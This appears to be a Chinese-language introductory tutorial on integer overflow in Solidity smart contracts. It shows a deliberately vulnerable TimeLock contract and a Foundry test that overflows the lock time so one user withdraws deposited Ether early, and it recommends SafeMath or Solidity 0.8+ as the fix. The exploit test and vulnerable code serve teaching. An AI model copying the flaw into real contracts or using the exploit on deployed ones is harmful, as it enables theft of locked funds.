整形溢出
描述:
TimeLock智能合约代码中存在一个缺陷,允许攻击者过早地从TimeLock合约中提取他们存入的资金。这个漏洞是由于increaseLockTime
函数中的溢出引起的, 该函数以一种方式操纵锁定时间,导致它回绕到0, 使攻击者能够在实际等待期到期之前提取资金。
场景:
此合约旨在充当时间保险箱。用户可以向此合约存入资金,但至少一周内不能提取。用户也可以将等待时间延长超过1周的等待期。
-
Alice和Bob都有1个以太币余额 -
部署TimeLock合约 -
Alice和Bob都向TimeLock存入1个以太币,他们需要等待1周才能解锁以太币 -
Bob在他的lockTime上引起了溢出 -
Alice不能提取1个以太币,因为锁定时间尚未过期。 -
Bob可以提取1个以太币,因为lockTime溢出到了0
发生了什么
攻击导致TimeLock.lockTime溢出, 并能够在1周的等待期之前提取。
影响
Solidity版本小于0.8且没有使用SafeMath
Mitigation:
为了缓解溢出漏洞,请使用SafeMath库或使用Solidity版本大于0.8
TimeLock 合约:
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease; // vulnerable
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(
block.timestamp > lockTime[msg.sender],
"Lock time not expired"
);
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
测试方式:
forge test –contracts src/test/Overflow.sol -vvvv
// The testOverflow function, used to test for overflow vulnerabilities.
function testOverflow() public {
// Log Alice's balance.
console.log("Alice balance", alice.balance);
// Log Bob's balance.
console.log("Bob balance", bob.balance);
// Log the start of Alice's deposit.
console.log("Alice deposit 1 Ether...");
// Set the message sender to Alice.
vm.prank(alice);
// Alice deposits 1 ether to the TimeLock contract.
TimeLockContract.deposit{value: 1 ether}();
// Log Alice's new balance.
console.log("Alice balance", alice.balance);
// Log the start of Bob's deposit.
console.log("Bob deposit 1 Ether...");
// Set the message sender to Bob.
vm.startPrank(bob);
// Bob deposits 1 ether to the TimeLock contract.
TimeLockContract.deposit{value: 1 ether}();
// Log Bob's new balance.
console.log("Bob balance", bob.balance);
// Exploit: Increase the lock time so it overflows and becomes 0.
TimeLockContract.increaseLockTime(
type(uint).max + 1 - TimeLockContract.lockTime(bob)
);
// Log that Bob can now withdraw his funds because the lock time has overflowed.
console.log(
"Bob will successfully withdraw, because the lock time is overflowed"
);
// Bob withdraws his funds.
TimeLockContract.withdraw();
// Log Bob's new balance.
console.log("Bob balance", bob.balance);
// Stop Bob's prank.
vm.stopPrank();
// Start Alice's prank.
vm.prank(alice);
// Log that Alice can't withdraw her funds because the lock time has not expired.
console.log(
"Alice will fail to withdraw, because the lock time did not expire"
);
// Try to withdraw Alice's funds. This should revert because the lock time has not expired.
TimeLockContract.withdraw(); // expect revert
}
红框:TimeLock.lockTime溢出
紫框:问题已解决。
原文始发于微信公众号(3072):智能合约漏洞入门 (1) 整形溢出